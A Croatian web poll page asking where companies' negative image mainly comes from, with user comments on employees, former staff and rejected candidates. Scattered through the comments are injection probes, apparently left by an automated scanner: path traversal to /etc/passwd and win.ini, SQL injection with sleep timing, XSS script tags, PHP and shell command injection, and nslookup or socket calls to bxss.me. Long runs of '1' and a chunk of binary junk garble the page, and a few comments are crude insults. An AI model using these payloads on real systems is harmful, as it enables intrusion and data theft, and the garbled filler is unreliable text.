Poll
Odakle u najvećoj mjeri dolazi negativna i loša slika o tvrtkama?
-
Od trenutnih zaposlenika (44%)
(1068)
Comments (269) -
Od bivših zaposlenika (40%)
(957)
Comments (240)Comments
Oni koji su otišli govore istinu jer nemaju što izgubiti
ukoliko su nezadovoljni bili
Serem te
i treba ih hračkat
Ljudi dijele svoja iskustva. Glassdoor počiva na tome.
Sadašnji zaposlenici nece pljuvati po ustima koja ih hrane
Kad radnik nije zadovoljan, traži bolji posao i kad ga nađe ode od trenutnog poslodavca i tada iznese sve s čim nije bio zadovoljan.
Valjda bivši znaju
Za svoj eventualni neuspjeh u tvrtki okrivljuju druge osobe
kažu sve što su šutili i trpili dok su radili
Iz osobnog iskustva...
jer nisu se usudili ništa govoriti kad su radili.
1
1
1
1
response.write(9878929*9250054)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
Array
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
!(()&&!|*|*|
|echo ubyegl$()\ eapzxt\nz^xyu||a #' |echo ubyegl$()\ eapzxt\nz^xyu||a #|" |echo ubyegl$()\ eapzxt\nz^xyu||a #
Array
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(106).concat(67).concat(97).concat(77)+(require"socket" Socket.gethostbyname("hitkq"+"akjlieon75abb.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
index.php
1
1
/xfs.bxss.me
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
'"
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >N9NZ(9413)</ScRiPt>
1
1
'"()&%<acx><ScRiPt >N9NZ(9067)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
U najvećoj mjeri od onih koji su napustili brod koji tone.
Kad netko ode iz firme i nema nikakvih obaveza prema firmi, a ponajvise straha onda iznosi sto je sve bilo lose u firmi bez staha od prijetnji i gubitku posla
Nije uvjek slučaj, ali u 70% bivši zaposlenici kažu realnu sliku, dok trenutni zaposlenici nesmiju se izjasniti negativno zbog straha od otkaza...
ukoliko se poslodavac nekorektno odnosio prema radnicima
kad izađu iz vrtke, više se ne boje ispričati kako tamo stvari zapravo funkcioniraju.
Po meni jedino realno jer je iz iskustva a ne rekla kazala.
Nisam s razlogom bivsi zaposlenik,svako ima svoje
zato što su pičke
Ne bi otišli da su zadovoljni.
-
Od kandidata koji se nisu uspjeli zaposliti (11%)
(277)
Comments (174)Comments
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitnc"."yaazqbflf151a.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(111).chr(74)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
index.php
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >ZF4n(9890)</ScRiPt>
1
1
'"()&%<acx><ScRiPt >ZF4n(9949)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-
Od konkurentskih tvrtki (5%)
(111)
Comments (1)Comments
Fali opcija "nešto drugo" ali nezdrave tvrtke sa učestalom izmjenom zaposlenika mrze kad ste odličan radnik i imate alternativu.
Comments
Mobbing, diskriminacija
Tvrtku čine njezini zaposlenici, ako su oni neodgojeni, na kakvom glasu može biti tvrtka?
u zadnje 3 firme koje sam radio, najvise su me ometali kolege
I bivsih
Zbog ne mogućnosti napredovanja kod trenutnog poslodavca
Neki su objektivni neki samo zločesti
Nezadovoljan djelatnik je glavni pokazatelj da tvrtka nije onakva kakvom se želi prikazati. Manje mobinga i veće plaće.
Prijatelji i poznanici u društvu pričaju među sobom, pogotovo ako rade u istoj branši
svi koji donose negativnu atmosferu na posao treba ih poslati prvim vlakom dalje.
Zato jer su nezadovoljni
Govoriti o lošim praksama tvrtke dok si zaposlen za tu istu tvrtku je opasno po radno mjesto, međutim kada je toliko loše da te baš briga, onda stvarno znaš da tamo nešto stvarno ne funkcionira.
Sremna sm izavove
Nisu uslužni
Znaju kako je tamo
-
Ne živimo da bi radili,,,nego radimo da bi preživjeli
Komentar
nezadovoljstvo je nerijetko uzrokovano lošom organizacijom rada i neadekvatnim odabirom rukovodećeg kadra
Jer su sigurno potplaćeni i nezadovoljni uvjetima.
Uzas
ljudi odražavaju stvarno stanje tvrtki
Zbog njihovog nezadovoljstva i ne zainteresiranost za rad
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000192+10000272}
response.write(9939484*9449492)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1&n940944=v901696
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
echo yvuucb$()\ dcamqp\nz^xyu||a #' &echo yvuucb$()\ dcamqp\nz^xyu||a #|" &echo yvuucb$()\ dcamqp\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitjc'.'vzljbnyp71136.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(69).chr(114).chr(86).'
1
1
(nslookup hitkhcubdpqqb7a5c1.bxss.me||perl -e "gethostbyname('hitkhcubdpqqb7a5c1.bxss.me')")
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
`(nslookup hitzfuvmondivcf52d.bxss.me||perl -e "gethostbyname('hitzfuvmondivcf52d.bxss.me')")`
1
1
1
1
1
1
1
1
1
1
index.php
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >j3WQ(9538)</ScRiPt>
1
1
1
'"()&%<acx><ScRiPt >j3WQ(9715)</ScRiPt>
1
1
1
19612516
1
1
acu8537<s1﹥s2ʺs3ʹuca8537
1
1
1
1
1
1
CWS000x?=?1N?@E߮??I)?@?? ?HiP"D?F?G&َ7??܂?rX;!S??̛????7Jq???.?>?p?c?l??zG?ܾM??dkj?,??(???T?Jj)?"?T7$??H?D6)?x)??ؒ?\C?|?Q?Nc?b??? b_&?5 h??g? ]s??0Q?L<?6?L?_?w~?[?/[?m{?????:n-????.?d1d???6?0
1
1
1
1
1
1
1
1
-1 OR 2+687-687-1=0+0+0+1
-1' OR 2+229-229-1=0+0+0+1 or 'jJc0jkbV'='
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Nezadovoljstvo
...
i sam sam trenutni zaposlenik i bilo komu tko me pita govorim da zaobilazi moju tvrtku u sirokom luku
Ljudi nikada nisu zadovoljni, ne vesele se malim stvarima, posao gledaju kao nešto što moraju, a ne uživaju u njemu
Svjedočiš iz prve ruke
informacije iz prve ruke
Centrus TIM d.o.o.
Zbog lošeg odnosa firmi premna zaposlenim i zbog kršenja ugovorenih uvjeta
Najkompetentniji su
Iskorištavanje radnika
Loše plače
Manageri imaju prevelike plaće.
Problem s neadekvatnim rukovodstvom.
Oni koji su svaki dan u firmi i zbog toga vide sve i znaju sve (što nije u redu)
jer je mnogo zaposlenih alkoholičara u tvrtkama
Zelim da se zaposlim
Dokazi sa "prve crte"tj iz prve ruke
dominik testira